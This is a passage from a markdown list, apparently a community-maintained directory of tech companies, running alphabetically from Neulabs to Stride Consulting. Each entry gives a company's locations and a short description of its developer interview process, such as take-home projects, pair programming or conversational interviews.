[Neulabs](https://neulabs.com/careers) | Milan, Italy | Initial phone screen with HR. Brief talk with VP of Engineering or CTO. Small take-home project followed by a technical review with 1 or more engineers & a culture-fit discussion. - [Neural Lab](https://neurallab.io) | Shatin, Hong Kong; Remote | Online non-technical (Behavioural) interview, followed by a Technical Interview with the core team - mainly revolving around the real-world problems, best approaches and some scenario based questions. - [New Relic](https://newrelic.com/about/careers) | San Francisco, CA | Takehome exercise &/ or pair programming session depending on the team - [NewStore](https://www.newstore.com/careers/) | Berlin, Germany; Hannover, Germany; Erfurt, Germany; Boston, MA | Telephone technical interview, code sample submission or takeaway coding exercise, on-site pair programming, design session (1/2 day) - [NewVoiceMedia](https://www.newvoicemedia.com/about-newvoicemedia/careers) | Basingstoke, England; Wroclaw, Poland | Telephone interview, takeaway coding exercise, on-site pair programming, code review & technical discussion (1/2 day) - [Nexapp](https://nexapp.ca/career/) | Quebec City, Canada | Video call where we get to know you more and you get to know us more, followed by a video call technical interview where we discuss a few open-ended problems strongly inspired by the daily real-world work we do. - [Nexcess.net](https://nexcess.net) | Southfield, MI | We mostly chat to get a feel on both ends if there's a good cultural fit. We ask questions to see what experience you have and how you think as a programmer. At some point we look at some of your code or have you work on some of ours (1 hour). - [Nimble](https://nimblehq.co) | Bangkok, Thailand; Ho Chi Minh City, Vietnam; Da Nang, Vietnam | Takehome exercise and specific role discussion - [Ninjaneers](https://www.ninjaneers.de) | Kassel, Germany; Remote | Google Hangouts resume dive on past experience and projects - [Niteoweb](http://www.niteoweb.com/careers) | Ljubljana, Slovenia | Join us for a week to see if we fit - [Nitro](https://www.gonitro.com/about/jobs) | Dublin, Ireland; San Francisco, CA | Phone Call, Take Home Test, Hiring Manager Phone Interview followed by an onsite discussion - [Nmbrs](https://jobs.nmbrs.com) | Amsterdam, The Netherlands; Lisbon, Portugal | Cultural interview, take home test, interview with CTO - [Noa](https://www.noa.one) | Berlin, Germany; San Francisco, CA | 1 technical chat, 2-3 cultural chats with colleagues from different departments in the team, if these work a pair programming exercise - [NodeSource](http://nodesource.com/careers) | Remote | A person-to–person walk through of a past project of yours - [Nomoko,camera](https://www.nomoko.world/jobs) | Zurich, Switzerland | Three interrogations - [Norbsoft](https://www.norbsoft.com/careers) | Kraków, Poland; Warszawa, Poland; Sosnowiec, Poland; Remote | Take-home exercise or code sample submission, technical discussion by video conference - [Nord Software](https://www.nordsoftware.com/en/jobs) | Helsinki, Finland; Tampere, Finland; Stockholm, Sweden | Take-home exercise & interview with CEO and senior developer - [NordPass](https://nordsecurity.com/careers) | Remote | HR talk, take-home task, tech interview, culture fit interview - [NoRedInk](https://www.noredink.com/jobs) | San Francisco, CA | Take-home exercise & pair programming session - [Nova Care](https://www.novacare.no) | Oslo, Norway | Casual interview, take-home exercise & presentation - [Nova Credit](https://www.novacredit.com/careers) | San Francisco, CA | Choose between a take home assignment or two interviews on CoderPad, CodePen, or your local dev env while screensharing. Final round is onsite working on a small project - [NoviCap](https://novicap.com/en/careers.html) | Barcelona, Spain | Takehome exercise & discussion on-site - [Novoda](https://novoda.com/joinus) | London, UK; Liverpool, UK; Berlin, Germany; Barcelona, Spain; Remote | 2 x Pairing sessions & conversational interviews [(public repo)](https://github.com/novoda/dojos) - [Novus Partners](https://www.novus.com/jobs) | New York, NY | Take-home exercise & on-site exercises (choice of laptop or whiteboard) - [Noyo](https://www.noyo.com/careers/) | San Francisco, CA / Durham, NC / Remote | Phone interview, take-home assignment, on-site code review, and walk through a past project you're proud of - [Nozbe](https://nozbe.com/careers) | Remote | Take-home exercise & interview with the team - [npm, Inc](https://npmjs.com/jobs) | Oakland, CA / Remote | No technical challenges. Just interview conversations. - [Nubank](https://nubank.workable.com) | São Paulo, BR | Phone conversation, take-home exercise, code walkthrough, on-site code pairing. - [numberly](https://www.numberly.com) | Paris, France | Series of interviews, that go over technical background, past experiences and cultural knowledge - [numer.ai](https://angel.co/numerai/jobs) | San Francisco, CA - [Nurx](https://www.nurx.com/technology/) | San Francisco, CA; Remote | Phone screen with recruiter and/or hiring manager, tech assessment with multiple options (full take home, partial take home, no take home), and then virtual on-site with a pair coding session, peer review of a technical document, architecture design, and exec loop - [Nutshell](https://www.nutshell.com/jobs) | Ann Arbor, MI, US | Email screen / take-home programming exercise ([public repo](https://github.com/nutshellcrm/join-the-team)) - [Nyon](https://www.nyon.nl/jobs) | Amsterdam, The Netherlands | 1. Skype (or real life) interview 2. Take home exercise (3-4 hours) 3. Meet entire team and pair programming sessions - [O'Reilly Media](https://oreilly.com/jobs) | Sebastopol, CA; Boston, MA; Remote | Phone conversation, take-home exercise or pair programming session, team interview, all via Google Hangout - [Oak Street Health](https://www.oakstreethealth.com/careers) | Chicago, IL / Remote | Casual but semi-technical initial phone screen. One hour video call consisting of in depth technical discussion with lead developers followed by one hour of discussion with the product team - [Object Partners, Inc.](https://objectpartners.com/careers/) | Minneapolis, MN; Omaha, NE | Phone interview to gauge mutual interest, followed by a slightly more in-depth technical round-table interview - [Objective, Inc.](https://www.objectiveinc.com/careers) | Salt Lake City, UT | Take-home programming exercise, then onsite friendly chat with team - [OCTO Technology](http://rejoins.octo.com) | Paris, France | HR interview to go over your experiences and cultural knowledge. Then more or less informal discussion with two future team members about architecture design, agile practices, take-home project, pair programming... - [Octopus Energy](https://octopus.energy/careers/) | London, UK; Sydney, Australia; Remote | Take-home exercise and phone or on-site interview/discussion with potential team - [Oda](https://careers.oda.com/jobs) | Oslo, Norway; Helsinki, Finland; Berlin, Germany | Phone screening to discuss technical background and past experience. Take-home assignment followed by virtual project discussion and interview. Cultural fit assessment. - [Odeko](https://grnh.se/e9ddbe544us) | Remote; New York, NY; Dublin, IE | Take-home project (2 hours) related to role, follow-up technical interview where you discuss your project implementation (may perform pair-programming session instead of technical interview). - [Olist](https://olist.com) | Curitiba, Brazil | Take-home project and remote or on-site interviews - [Omada Health](https://www.omadahealth.com/jobs) | San Francisco, CA | Take home exercise and/or pair programming session. - [Oncue](http://oncue.co) | San Francisco, CA; Remote | Online coding test on real-world problems (2 hours). Technical discussion with developer team. - [OneMain Financial](https://jobs.onemainfinancial.com) | Chicago, IL; Remote | Take-home exercise and on-site interview/discussion with potential team - [OneSignal](https://onesignal.com/careers) | San Mateo, CA | Intro call with recruiting, second conversation with OneSignal engineer, onsite pairing via screenshare - [Onfido](https://onfido.com/jobs) | London, UK; Lisbon, Portugal | Take-home exercise and on-site interview/discussion with potential team - [Ontame.io](https://ontame.io) | Copenhagen, Denmark | Take home exercise and specific role discussion - [Opbeat](https://opbeat.com/jobs#seniorbackendengineer) | Copenhagen, Denmark | Pairing on a real-world problem - [Openbase](https://angel.co/company/openbasecom) | San Francisco, CA | Take-home exercise on real-world problem & discussion with engineers about exercise - [Openmind](https://www.openmindonline.it) | Monza, Italy | On-site interviews - [optilyz](https://optilyz.com/careers) | Remote | Either take-home or pair programming on open-source code, then pair programming on our actual production code. - [Optoro](http://www.optoro.com/open_position_item/?oid=134960) | Washington, DC | Take home exercise. Review your code onsite. - [Optum](https://www.optum.in/about/careers.html) | India, Hyderabad | Online assesment, followed by technical interview and behavioural check - [Ori](http://ori.co)| London, UK | Phone interview and a takehome project, followed by a two hour meeting with the team - [OSISM](https://osism.tech) | Remote | Three video calls: general introduction, team introduction, contract - [Ostmodern](http://www.ostmodern.co.uk) | London, UK | Take-home exercise & discussion on-site - [Outbrain](https://careers.outbrain.com/?F1C=Netanya&F2C=&FTXT=) | Netanya, Israel | Take-home exercise & discussion - [Outlandish](https://outlandish.com) | London, UK | Take-home exercise, real-world pair programming session, friendly chat with team - [Outlook iOS & Android](https://github.com/outlook/jobs) | San Francisco, CA / New York, NY | Take-home project & online / onsite discussion - [The Nerdery](https://www.nerdery.com/careers) | Minneapolis, MN; Chicago, IL; Phoenix, AZ; Kansas City, KS | Take-home exercise - [The Outline](https://boards.greenhouse.io/theoutline) | New York, NY | Take-home exercise ## P - R - [PACE Telematics](https://www.pace.car/jobs) | Karlsruhe, Germany | Culture and mindset check, on-site meet and great, small code challenge to see development style and strategy - [Paessler AG](https://www.paessler.com/company/career/jobs) | Nuremberg, Germany | Pairing with different engineers on a real problem - [Pagar.me](https://pagar.me) | São Paulo, BR | Skype interview, on-site pairing task and-or real world problem solving process / presentation - [Pager](https://pager.com) | New York, NY; Remote | Short phone interview, conversational interviews, take-home exercise & discussion - [PagerDuty](https://pagerduty.com/careers) | San Francisco, CA / Toronto, Canada / Atlanta, GA | Zoom / on-site pair programming and tasks - [Palatinate Tech](https://tech.palatinategroup.com) | London, UK | Hangout/Skype/phone followed by (normally) on-site pairing task - [Paper](https://withpaper.com/careers) | San Francisco, CA | Google Meets technical phone screen, take-home coding assignment, on-site with webapp architecture, team lunch, and culture-add conversations - [Parabol](http://parabol.co) | New York, NY; Los Angeles, CA; Remote | Culture check followed by compensated, [open-source contribution](https://github.com/ParabolInc/action/projects) skills evaluation - [Pariveda Solutions](http://parivedasolutions.com) | Dallas, TX / Houston, TX / Atlana, GA / Washington, DC / New York, NY / Chicago, IL / San Francisco, CA / Seattle, WA / Los Angeles, CA | Personality assessment (Predictive Index) and case study. Programming aptitude test (language independent) for college hires. - [PassFort](https://passfort.com/about#jobs) | London, UK | Skype interview, and on-site pairing task - [Passiv](https://passiv.com) | Fredericton, Canada | Zoom interview, take-home coding assignment, standalone bite-size project that delivers some value, small feature development involving team collaboration. - [Pathos Ethos](https://pathosethos.com/careers/) | Durham, NC / Raleigh, NC / Chapel Hill, NC / Remote | 3 conversational interviews (Manager, Team, Founder). No homework. We look for a cadidate to be "culture add" instead of "culture fit" - [Paws](https://paws.com/careers) | London, UK | Phone screening, take-home project, on-site pairing/discussion on your solution and meet the team. - [Paybase](https://paybase.io) | London, UK | Phone screening, Take home project, On-site interview for technical and culture fit, Open Q&A session with team - [PayByPhone](https://www.paybyphone.com/careers) | Vancouver, Canada | Remote programming interview, on-site "meet the team" - [Peaksware Companies (TrainingPeaks, TrainHeroic, MakeMusic)](https://peaksware.com) | Boulder, CO; Denver, CO | Phone screen, take home project, remote and on-site interviews for technical and cultural fit - [PeerStreet](https://info.peerstreet.com/careers) | Los Angeles, CA | Phone, take home project & on-site to meet the team - [Pento](https://angel.co/pento/jobs) | Remote | Quick personal interview, take home project - [Permutive](https://permutive.com/careers/) | London, UK | Phone call; short, relevant take-home coding assignment; on-site pairing, general technical discussion, values & ways of working interview. - [Persado](https://www.persado.com/company/life-at-persado) | New York, NY | Phone screen, take home project, remote meeting with team member to discuss the project, remote meeting with team manager to discuss role and go over statistical concepts relevant to the role - [Persgroep, de](https://www.persgroep.nl/werken-bij-it) | Amsterdam, Netherlands | Tech interview (technical background and experiences) and culture fit, both on-site - [Persona](https://www.withpersona.com/about) | San Francisco, CA | Tech interview (technical background and experiences), pair programming, and culture fit - [Pex](https://angel.co/pexeso/jobs) | Los Angeles, CA; Remote | 3 sessions: brief phone conversation (30 min); take home assignment (2 hours); on-site or video discussion without any coding (2 hours) - [pfs](https://empleo.pfsgroup.es) | Madrid, Spain; Valencia, Spain; Lisbon, Portugal; CDMX, Mexico; Remote | We adapt each interview according to the candidate and the position. The interviews are open discussions (no quizzes) about real-world problems. 2-3 interviews max, all of them can be done remotely. - [Philo](https://philo.com/jobs) | San Francisco, CA; Cambridge, MA | Initial screen with deep-dive into one of your recent projects (30 mins) ; take-home coding exercise tailored your skills (4 hours); on-site with take-home code review, architecture interview, design interview and "soft skills" interview (4 hours) - [Phoodster](https://www.phoodster.com) | Stockholm, Sweden | Take-home exercise + on-site discussion - [Pie Insurance](https://pieinsurance.com/careers) | Denver, CO; Washington, D.C. | Phone; remote technical screen paired with another engineer; remote multi-round interview to demonstrate basic backend/frontend skills (no bizarre Leetcode questions), behavioral/culture fit, design skills - [Pilot](https://pilot.co/become-a-partner) | Remote | Two calls. Introduction one (30m) + verification of communication skills and remote work experience (15m) - [Pismo](https://pismo.io/pt/) | Remote; Bristol, UK; Austin, TX; Singapore, Singapore | Initial and quick screening with recruiters from hr department, remote general technical discussion with tech lead and team members, take home assessment (choose between Java and/or Golang), remote pair programming. - [Pixium Digital](https://pixiumdigital.com) | Singapore, Singapore | Remote or on-site interview with few generic / technical questions as well as portfolio review + discussion. - [Platform.sh](https://platform.sh) | Remote | Remote Interview, Wide-Ranging discussions on many diverse subjects. Remote interviews with team members. - [Platform45](https://platform45.com) | Johannesburg, South Africa; Cape Town, South Africa | On-site interview, take-home project and culture fit day - [Platogo Interactive Entertainment GmbH](https://platogo.com/hiring/) | Vienna, Austria | Simple online questionnaire, First Interview to get to know each other, Remote developer challenge (take home task), Code review together, Meet the team - [Playlyfe](https://getcatalyst.in/careers) | Bangalore, India | Short personal interview, on-site demonstration of programming in browser devtools followed by discussion about the problem - [Pleo](https://www.pleo.io/en/careers) | Remote; Copenhagen, Denmark; London, UK; Berlin, Germany; Stockholm, Sweden; Madrid, Spain| Intro interview (30m-45m), take home assignment, interview with discussion on the assignment + technical questions with the team (90m) and interview with managers (60m). - [Poki](http://jobs.poki.com) | Amsterdam, The Netherlands | Pair programming on-site w/ two engineers where we focus on teamwork, googling relevant documentation and fixing things together. - [Polar](http://polar.me/company/careers) | Toronto, Canada | Phone interview, followed by 1-2 onsite pair-programming interviews based on their platform - [Poll Everywhere](https://www.polleverywhere.com/jobs) | Remote | Introduction call, 1 hour take home technical assessment, pairing session with Designer and Engineer to enhance technical challenge submission, Meeting with CTO and hiring manager. - [Popstand](http://www.popstand.com) | Los Angeles, CA | Build MVPs for startups - [Popular Pays](http://www.popularpays.com) | Chicago, IL | Phone chat/coffee to determine what will be worked on during a day of pair-programming on a real problem that the candidate thinks best demonstrates their skills. - [Pragmateam](https://pragma.team/talent) | Sydney, Australia | Engineering Consultancy And Delivery - Takehome exercise & discussion - [PremiumBeat](https://www.premiumbeat.com/careers) | Montreal, Canada | Discussion and general, high level questions - [Primary](https://www.primary.com/jobs) | New York, NY / Remote | Phone chat, take home exercise, pair program and discuss onsite. - [Prokeep](https://www.prokeep.com/careers) | Remote | Take-home project, informal chat with managers. - [PromptWorks](https://www.promptworks.com/jobs) | Philadelphia, PA | Take-home project, pair programming, discussion on-site - [PropertyCaptain](https://www.propertycaptain.ch) | Zurich, Switzerland | Take-home project, discussion on-site - [Proxy](https://www.proxy.com) | San Francisco, CA | Phone chat. In-depth discussion about experiences on-site. Occasionally a take home project. - [Pusher](https://pusher.com/jobs) | London, UK | Solve a real-world problem through a design session with our engineers - [Pygmalios](http://pygmalios.com/en) | Bratislava, Slovakia | Take-home project related to business and discussion with our engineers. - [Qonto](https://qonto.com/en/careers) | Paris, France / Berlin, Germany / Milan, Italy / Barcelona, Spain / Belgrade, Serbia / Remote | Take-home project, code review and discussions with our engineers. - [Quiet Light Communications](https://quietlightcom.com/positions-web.php) | Rockford, IL, USA | Discussion, work samples and/or small freelance project - [Quintype](http://www.workatquintype.com) | Bengaluru, India / San Mateo, USA | Take home project, pair programming, discussion on-site - [Quizizz](https://quizizz.com) | Bengaluru, India | Phone chat, real world assignment, discussion w/ developers, pair programming, discussion on-site - [Quizlet](https://quizlet.com/careers) | Remote; San Francisco, CA; New York, NY; London, UK | Preliminary screen followed by role-specific applied exercises where candidates create new projects/apps or make improvements to pre-existing code. - [Ragnarson](https://ragnarson.com) | Lodz, Poland; Remote | Take-home exercise & pair programming session - [Railscarma](https://www.railscarma.com) | Bengaluru, India | Take-home project, code review and discussion on-site - [Railslove](https://www.railslove.com) | Cologne, Germany | Have a coffee in our office, casual chat with us, pair programming on a real project - [Raising IT](https://www.raisingit.com) | London, UK | Coffee with a team member, on-site pair programming and discussion - [Ramp](https://ramp.com) | New York, NY | Phone interview on a basic applied problem, followed by 2-3 onsite programming interviews that test practical day-to-day software skills. - [RapidAPI](https://rapidapi.com/company/careers/) | San Francisco, CA; Berlin, Germany; Tallinn, Estonia | Take home assignment and discussion before/afterwards - [Rapptr Labs](http://careers.rapptrlabs.com) | Jersey City, NJ | Take-home exercise followed by a video interview with 2-3 engineers about domain-specific knowledge and open-ended questions. - [Rapyuta Robotics](http://www.rapyuta-robotics.com/pages/jobs.html) | Bengaluru, India / Tokyo, Japan / Zurich, Switzerland | Take-home assignment related to our ongoing projects, series of technical / experience based interviews, candidate presentation - [Rayfeed](https://rayfeed.com) | Vancouver, Warsaw | Video-call interview followed by a take-home exercise - [Razorpay](https://razorpay.com/jobs) | Bangalore, India | Phone screen, On-site pair programming, and occasionally a take home project. - [Reaktor](https://reaktor.com/careers) | New York, NY; Amsterdam, Netherlands; Helsinki, Finland; Tokyo, Japan | Discussion, work samples from previous projects (work or hobby), take-home exercise if needed for further info - [Realync](https://realync.com/careers) | Chicago, IL / Carmel, IN / Remote | Quick phone interview, then a take home project and finally in person interview (open discussions instead of quizzes - anything technical are real-world problems). - [Rebase Consulting](https://rebase.fi) | Helsinki, Finland / Remote | First round general discussion/introductions, second round technical interview built around a take-home exercise, 2x2 skill/interest matrix go-through and general technical topics based on the candidate's profile. - [Red Badger](https://red-badger.com/about-us/join-us) | London, UK | Phone & Skype interview, take home exercise, On-site interview - [Red Balloon Security](https://redballoonsecurity.com) | New York City, USA | A rather educational week long hacking challenge with a monetary reward uppon finding solution. On-site with team members, real job related problems, a few open-ended questions. - [RedCarpet](https://www.redcarpetup.com/jobs) | New Delhi, India | Interview, work sample/take-home project and discussion/code reviews - [Redgate](https://www.red-gate.com/our-company/careers/current-opportunities/) | Cambridge, UK | Simple couple of questions during screening phase (up to 30 min) followed by a second phase with up to two coding exercises (non-CS). - [Reducer](https://reducer.co.uk) | London, UK | Introductions by phone, pair programming on site, then meeting the team. - [Reflektive](https://www.reflektive.com/careers/) | San Francisco, CA; Bengaluru, India | A short take home project/assignment, followed by a couple of technical and non-technical discussions online and offline. - [Refty](https://refty.co) | Paris, France | Introductory video call, soft skills assessment process powered by our own product, on-site discussion, lunch with everyone. - [Relabe](https://relabe.com) | San Juan, PR | First we screen for cultural fit then check for technical proficiency. 2-3 Interviews max in SJ - [Remote](https://remote.com) | Remote | Call with a recruiter (if needed), call with manager, code exercise, call with team. - [Render](https://jobs.lever.co/render) | San Francisco, CA; Remote | Phone screen followed by an onsite project based on our day-to-day, real world challenges. - [Rentify](https://www.rentify.com/jobs) | London, UK | Phone call, take home real-world project, on-site pair programming, product discussion - [RentoMojo](https://www.rentomojo.com/about/careers) | Bangalore, India | Short takehome project + phone interview - [Repl.it](https://repl.it/site/jobs) | San Francisco, CA / Remote | Take-home project and discussion, then an on-site project and discussion - [Resin.io](https://resin.io) | Remote | Take home real-world project and a couple of technical and non-technical discussions - [Resourcify](https://www.resourcify.com) | Hamburg, Germany; Remote | Get to know phone call with Engineering Manager and VP of People, pair programming a day-to-day problem with a Lead Engineer, meeting with team members. - [ReSpark](https://www.respark.co.uk) | London, UK | Phone conversation followed by on-site interview w/ task relevant to daily role. - [RestaurantOps](https://www.restaurantops.co) | Scottsdale, AZ | Take Home Project & pair programming session - [Retail Pulse](https://retailpulse.ai) | Bangalore, India | Phone chat, take home exercise, feedback & interview - [Rever](https://reverscore.com) | Guadalajara, Mexico | Take-home project, on-site discussion or via Hangouts. - [ReviewTrackers](https://www.reviewtrackers.com/careers/) | Remote; Chicago, IL | Phone conversation, take home project, virtual interview with project review and live coding, discussion with engineers and product, interview with VP of Engineering - [Revlv](https://revlv.net) | Manila, Philippines | Discussion about developer skills, previous projects and experiences. - [Rex Software](https://www.rexsoftware.com/careers) | Brisbane, Australia | Take home project, feedback + interview - [Rizk.com](https://rizk.com) | Ta' Xbiex, Malta | Take-home assignment, discussion w/ developers - [Rockerbox](https://www.rockerbox.com/careers) | Remote | Phone screen with pair programming. 2 hours of pre-interview prep. 4-hour final interview with situational questions, another pair programming, and presentation and discussion of pre-interview prep outputs. - [Rocket Travel](https://about.rocketmiles.com) | Remote; Chicago, IL; New York, NY | Pair programming, take home project (2-4 hours), 3-4 hour final interview with mix of high level technical, product, and cultural/behavioral sessions. - [Rockode](http://www.rockode.com) | Bangalore, India | Real world assignment, group hack session, discussions - [Rose Digital](http://rosedigital.co) | New York, NY | Phone conversation followed by pair coding components that mirror day to day work, in person discussion about code, take home project if needed for more info - [RStudio](https://www.rstudio.com) | Remote | Video calls with recruiter then engineering management, take home project, video call for code review with engineering lead - [Ruangguru](https://career.ruangguru.com) | Jakarta, Indonesia / Yogyakarta, Indonesia / Malang, Indonesia / Bandung, Indonesia | Phone screening with technical recruiter --> live coding with an engineer --> panel interview with related engineers (Test Engineers, Frontend Engineers, Backend Engineers, etc) --> final interview with VP of Engineering - [RubyGarage](https://rubygarage.org) | Dnipro, UA | Take-home project, code review and discussion on-site - [Runtastic](https://www.runtastic.com) | Linz, Austria; Vienna, Austria | Video call with recruiting staff, take home project, video call for code review, discussion, questions - [RVU](https://www.rvu.co.uk/careers) | London, UK | Also known as Uswitch / Money.co.uk / Bankrate, small take-home project related to our business area, followed by open book pairing with developers to extend it followed by Q&A session to discuss your experience. ## S - U - [SafeButler](https://www.safebutler.com) | San Francisco, CA | Take-home project, then an on-site or remote interview with a review, pair programming, and culture fit discussions - [Sahaj Software](https://www.sahaj.ai) | Bangalore, India; Chennai, India; Pune, India; Melbourne, Australia; London, UK; San Jose, CA | Take home code + Pairing + Discussion - [Sailing Byte](https://sailingbyte.com) | Rumia, Poland | Technical interview, Take-home Task - [Sakari](https://sakari.io) | San Francisco, CA | Phone screen, programming assignment related to Sakari business (communications) with pair programming element, team and culture fit - [SaleCycle](https://www.salecycle.com/careers) | Durham, UK; Brighton, UK | Phone screen, face-to-face discussion with developers, optional pairing session and discussion - [Salesfive](https://www.salesfive.com/jobs) | Munich, Germany; Berlin, Germany | Phone screen, Phone Interview with developer to discuss code and challenges, Take home challenge if necessary. Onsite visit - [Salesloft](https://salesloft.com) | Atlanta, GA | Phone interview, take-home project, cultural-fit interview, technical interview where candidate modifies take-home project - [Samsara](https://www.samsara.com/jobs) | San Francisco, CA; Atlanta, GA; London, UK | Phone interview, onsite interview (technical challenges based on real problems we've faced at Samsara) - [SC5 Online](https://sc5.io/careers) | Helsinki, Finland; Jyväskylä, Finland | Take-home assignment (intentionally short, takes at most an hour to complete), discussion and review assignments - [Scapic](https://scapic.com/careers/) | Bangalore, India | Short takehome project + phone interview - [Schibsted Tech Polska](https://www.schibsted.pl) | Gdańsk, Poland | Phone screen, take-home exercise, code review and technical discussion - [Seesaw](https://web.seesaw.me/about) | Remote | Technical challenges based on real world problems - [Segment](https://segment.com) | San Francisco, CA; Vancouver, Canada | Phone interview, take-home assignment (small fun project), onsite interview (technical + core/culture) -> intended to set you up for success - [SEITENBAU](https://www.seitenbau.com/karriere/aktuelle-jobangebote) | Konstanz, Germany | Peer recruiting; conversational interviews (video call or face-to-face) with other developers and HR focussing on motivation, attitude, skills; possibly 2nd face-to-face interview meeting with additional team members - [Sendyne](http://www.sendyne.com) | New York City, USA | Phone screen, on-site with team members. Review of past experiences + questions regardnig real problems. - [Sensor Tower](https://sensortower.com/jobs) | San Francisco, CA | Phone call, on-site interview including discussion about projects/skills and a short real-world programming challenge - [Sensu](https://sensu.io) | Remote | Video call, choice of pairing session or take home programming assignment - [Séntisis](http://sentisis.com/trabaja-con-nosotros) | Madrid, Spain; Mexico City, Mexico; Bogotá, Colombia; Santiago de Chile, Chile; Remote | Phone call, on-site/remote interview including discussion about projects/skills and a short real-world pair-programming exercise - [SerpApi](https://serpapi.com) | Austin, TX / Remote | Skype core value and culture interview, review of contributions on GitHub or other platforms, and take-home project if online contributions are not enough. - [Sertis](https://sertiscorp.com) | Bangkok, Thailand | Technical & culture fit interview, take-home project, follow-up discussion - [Setapp Sp. z o.o.](https://setapp.pl/career) | Poznan, Poland | Online/face-to-face discussion with developers about everyday programming dilemmas & reviewing your own code - [Sharoo](https://www.sharoo.com/jobs/) | Zurich, Switzerland; Remote | Soft skills interview, take home project, technical interview based on take home project. - [Ship&co](https://www.shipandco.com/en/) | Remote / Kyoto, Japan | Casual non-technical interview with the CEO. One hour technical discussion with lead developer about software development, skills and past experience. Three months paid trial period. - [Shogun](https://getshogun.com) | Remote | Discussion about software development and past experience, code samples, paid trial period. - [Shortcut](https://shortcut.com/careers) | New York, NY & Remote | Phone interview, followed by onsite discussions and pair programming - [Showmax](https://blog.showmax.com/engineering-careers) | Beroun, Czechia; Prague, Czechia; Remote | Take home project, then a pair-programming and discussion onsite / Hangouts round. - [ShuttleCloud](https://shuttlecloud.com/jobs) | Chicago, IL / Madrid, Spain | Take-home project, then on-site code walk through and a real world problem discussion. - [Signal AI](https://www.signal-ai.com/about-us/careers) | London, UK | Phone screen; take home code exercise; on-site code extension with pair programming and discussion - [SigNoz](https://signoz.io) | Bangalore, India; Remote | Intro round to explore interests, 1-2 Technical interviews that resembles a problem SigNoz solves for, then product round to discuss on industry and problems which SigNoz is solving. - [Simpli.fi](https://www.simpli.fi/about-us/careers) | Fort Worth, TX, USA | Takehome code challenge and review - [SimpliField](http://www.welcometothejungle.co/companies/simplifield/jobs) | Lille, France | Interview with the CTO and the developer team - [Simply Business](https://www.simplybusiness.co.uk/about-us/careers/tech) | London, UK / Remote | Three stage, one day interview with quick feedback. One of the stages is 1.5h pair-programming session, where interviewee is assigned a task and interviewing developer plays role of Product Owner. - [Sixfold](https://sixfold.com/careers) | Tallinn, Estonia; Tartu, Estonia; Vienna, Austria | 3-4 stages: 1st interview with HR and an engineering lead, 2nd a test-task to solve at home, 3rd technical discussion & feedback on the test-task, 4th optional meeting with further engineering leads to find best fitting team. - [Sixt](https://www.sixt.jobs/en) | Munich, Germany | 4 stages: 1st HR, 2nd take-home project, 3rd follow-up discussion, 4th on-site interview with team plus HR - [Skylight Digital](https://skylight.digital/join/) | Remote | Screening call to determine general interest, 1.5 hour pair programming exercise based on realistic scenario, EQ interview. - [Skyrise Pro](https://www.skyrisepro.com) | Chicago, IL | Take-home coding project, on-site interview including coding enhancements to the take-home project, offsite group activity - [Slack](https://slack.com/jobs) | San Francisco, CA | Call with recruiter, 1 week take-home project, call with hiring manager, on-site interview covering high-level system design, best software development practices and culture-fit - [Small Improvements](https://www.small-improvements.com/careers) | Berlin, Germany - [Smartia](https://smartia.tech) | Bristol, UK; Remote | Take-home real world project to complete, call with head of engineering, culture fit with CEO and COO - [Smartly.io](https://www.smartly.io/developer) | Helsinki, Finland | Discussion with recruiter and developers and a pair coding exercises - [Smile.io](https://smile.io/careers) | Kitchener, Canada / Remote | Take-home real world project, interviews with HR and engineering team - [Snyk](https://snyk.io/jobs) | London, UK; Tel Aviv, Israel | Take home task, then a pair coding on it - [Social Tables](http://www.socialtables.com) | Washington, DC | Chat about skills and past experiences + bring in a code sample from previous work or side project to discuss - [Softwear](https://softwear.nl/vacatures) | Amsterdam, Netherlands | Writing software for the fashion industry – remotely – in an international team. - [Sogilis](http://sogilis.com) | Grenoble, France | Discussion about interests, practices, and motivation. Presentation/code review/pair programming on a personal or professional project. - [Sourcegraph](https://about.sourcegraph.com/jobs) | San Francisco, CA & Remote | Tailored to the candidate, often consists of take-home work, discussion of real-world eng challenges, and product familiarity. - [Splice](https://jobs.splice.com) | New York, NY; Remote | Call with recruiter, 4 hr take-home project, video interview w two engs on take-home exercise, video call with hiring manager, video call w VPE & principal eng to talk about architecture. - [Splyt](https://careers.splyt.com) | London, UK; Singapore, Singapore; Kuala Lumpur, Malaysia; Tokyo, Japan | Initial screening with recruiters from hr department, take home assessment (React + Node.js), followed by remote/on-site interviews with hiring manager and CTO about the assessment, system design/architecture, and cultural fit. - [Spreedly](https://www.spreedly.com/jobs) | Durham, NC | Take-home project [related to business](https://engineering.spreedly.com/blog/programming-puzzles-are-not-the-answer-how-spreedly-does-work-samples.html) - [Springer Nature (Asia)](https://www.natureasia.com) | Tokyo, Japan | Discussion & Pair programming session - [Springer Nature Digital](https://sndigital.springernature.com) | Berlin, Germany; London, UK | Phone chat; take-home project; then a pairing session based on the project, a technical chat, and a chat with non-technical team members - [SpronQ](https://www.spronq.nl) | Amsterdam, Netherlands | Takehome coding challenge - [Squadcast](https://www.squadcast.com/careers) | Bangalore,India | Phone screening, technical interview, Founder Interview. - [Square](https://squareup.com/careers) | San Francisco, CA | Pair programming in a work environment - [Square Sense](https://square-sense.com) | Paris, France | Short phone screen to confirm the interest, take-home project (similar to some of our existing software), a pair-programming interview where we will make some changes to the same project - [Srijan Technologies](http://srijan.net) | Delhi, India | General high level questions/discussion followed by Pair programming OR take-home coding challenge - [Stardog Union](http://stardog.com) | Washington, DC; Remote | Technical discussion and general interest conversations - [StartDee](http://startdee.com) | Bangkok, Thailand | Phone screening with technical recruiter --> live coding with an engineer --> panel interview with related engineers (Test Engineers, Frontend Engineers, Backend Engineers, etc) --> final interview with VP of Engineering - [StashAway](https://www.stashaway.sg/careers) | Singapore, Malaysia & Remote | Take Home Technical Task (broken down to frontend or backend focused), Database Architecture Case Design round, Peer-to-Peer (P2P) team round, and Management Interview - [Statflo](http://statflo.com) | Toronto, Canada | Phone screening, take home project, on-site interview discussing the take home project, high-level architectural brainstorm, and questions about career and team work. - [store2be](https://www.store2be.com/en/pages/jobs) | Berlin, Germany | Skype/on-site interview, take-home project - [Storm](https://www.stormx.io/about#jobs) | Seattle, WA; Remote | Phone/skype screen --> Take-home coding assignment --> on-site/skype interview loop to discuss assignment; meet-and-greet with other teams --> +1/-1 based on team consensus - [Storytel](https://jobs.storytel.com/departments/tech) | Stockholm, Sweden; Lund, Sweden; Karlstad, Sweden; Umeå, Sweden; Copenhagen, Denmark | Our process has few stages: a social interview with HR and 1-2 future teammates; a small take-home project followed by a technical discussion with 2-3 future colleagues. All stages can be in-person in one of our offices or via Google Meet - [Stride Consulting](https://www.stridenyc.com) | New York, NY / Chicago, IL | Phone Screen, Agile and Technical Overview, a 